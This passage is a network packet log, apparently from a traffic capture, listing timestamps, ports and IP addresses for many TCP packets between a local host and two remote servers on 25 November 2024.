Nov 25, 2024 12:07:23.878281116 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.878323078 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:23.879232883 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.879362106 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.879399061 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:23.880393982 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.880451918 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.880491018 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:23.881491899 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.881583929 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.881633997 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:23.882428885 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.882545948 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.882586956 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:23.883687019 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.883785009 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.883913040 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:23.884860992 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.884948969 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.884994030 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:23.885560989 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:23.939927101 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.031023026 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.031119108 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.031176090 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.031563997 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.031755924 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.031795025 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.032625914 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.032741070 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.032782078 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.033651114 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.033724070 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.033761978 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.034706116 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.035037994 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.035079002 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.035826921 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.035909891 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.035949945 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.036843061 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.036987066 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.037024975 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.037867069 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.037913084 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.037949085 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.039028883 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.039128065 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.039167881 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.040100098 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.040200949 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.040256023 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.041069984 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.041197062 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.041243076 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.042224884 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.042294025 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.042340994 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.043215036 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.043359995 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.043447971 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.044274092 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.044385910 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.044437885 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.045344114 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.045454025 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.045499086 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.046463966 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.046524048 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.046561956 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.047470093 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.047571898 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.047610044 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.048579931 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.048671961 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.048715115 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.049628019 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.049702883 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.049761057 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.050709009 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.050878048 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.050920010 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.051774025 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.051841021 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.051889896 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.052897930 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.053402901 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.053477049 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.054112911 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.054198980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.054244995 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.055017948 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.055097103 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.055162907 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.056051970 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.056188107 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.056277990 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.057233095 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.057357073 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.057396889 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.058197975 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.058319092 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.058392048 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.059247971 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.059293985 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.059365034 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.060285091 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.060395956 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.060483932 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.061367989 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.061501980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.061538935 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.062443972 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.062513113 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.062549114 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.063469887 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.063589096 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.063632965 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.064570904 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.064687967 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.064769030 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.065607071 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.065718889 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.065757990 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.066737890 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.066831112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.066869974 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.067730904 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.067852020 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.067892075 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.069013119 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.069066048 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.069104910 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.070190907 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.070296049 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.070343018 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.071331978 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.071496010 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.071537971 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.072204113 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.072339058 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.072385073 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.073060989 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.073169947 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.073206902 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.074126959 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.074238062 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.074285030 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.075185061 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.075295925 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.075330019 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.076298952 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.076402903 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.076442957 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.077363014 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.077447891 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.077493906 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.078416109 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.078722954 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.078759909 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.079463959 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.079580069 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.079618931 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.080564976 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.080712080 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.080749989 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.081614017 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.081706047 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.081748009 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.082679987 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.082868099 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.082909107 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.083766937 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.083904028 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.083940983 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.084844112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.084983110 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.085021973 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.085880995 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.085944891 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.085982084 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.086951017 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.094053030 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.114797115 CET	443	49725	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.131310940 CET	49725	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.131345034 CET	443	49725	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.135854959 CET	49725	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.135862112 CET	443	49725	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.192001104 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.210166931 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.210184097 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.210640907 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.210653067 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.232163906 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.232290030 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.232340097 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.232656002 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.232820988 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.232863903 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.233478069 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.233684063 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.233727932 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.234575033 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.234698057 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.234740019 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.235613108 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.235735893 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.235771894 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.236686945 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.236773014 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.236818075 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.237735987 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.237863064 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.237900972 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.238800049 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.238908052 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.238955021 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.239882946 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.239991903 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.240036011 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.240973949 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.241168976 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.241223097 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.242028952 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.242078066 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.242125988 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.243153095 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.243295908 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.243341923 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.244271040 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.244426012 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.244468927 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.245194912 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.245337009 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.245379925 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.246397972 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.246495008 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.246536970 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.247163057 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.247354031 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.247467041 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.247503042 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.247921944 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.247948885 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.248409033 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.248500109 CET	49724	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:24.248506069 CET	443	49724	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:24.248512983 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.248554945 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.249475956 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.249591112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.249634027 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.250636101 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.250745058 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.250782967 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.251611948 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.251725912 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.251770973 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.252737999 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.253006935 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.253051996 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.253792048 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.253875017 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.253911018 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.254841089 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.254956007 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.255001068 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.255889893 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.255999088 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.256041050 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.256918907 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.257064104 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.257101059 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.257998943 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.258117914 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.258157969 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.259071112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.259219885 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.259289026 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.260150909 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.260279894 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.260309935 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.261199951 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.261332989 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.261370897 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.262254953 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.262389898 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.262429953 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.263343096 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.263454914 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.263504028 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.263727903 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.264395952 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.264528036 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.264571905 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.265522003 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.265678883 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.265722990 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.266537905 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.266634941 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.266674042 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.267615080 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.267709970 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.267746925 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.268666029 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.268774033 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.268817902 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.269757032 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.270018101 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.270056963 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.270822048 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.270932913 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.270971060 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.271925926 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.272021055 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.272058010 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.272931099 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.273056984 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.273102045 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.274003029 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.274121046 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.274157047 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.274507999 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.275145054 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.275216103 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.275255919 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.276129007 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.276333094 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.276372910 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.277224064 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.277302027 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.277355909 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.278263092 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.278376102 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.278429985 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.279325008 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.279433966 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.279478073 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:24.280433893 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:24.280524969 CET	80	49723	185.215.113.16	192.168.2.5
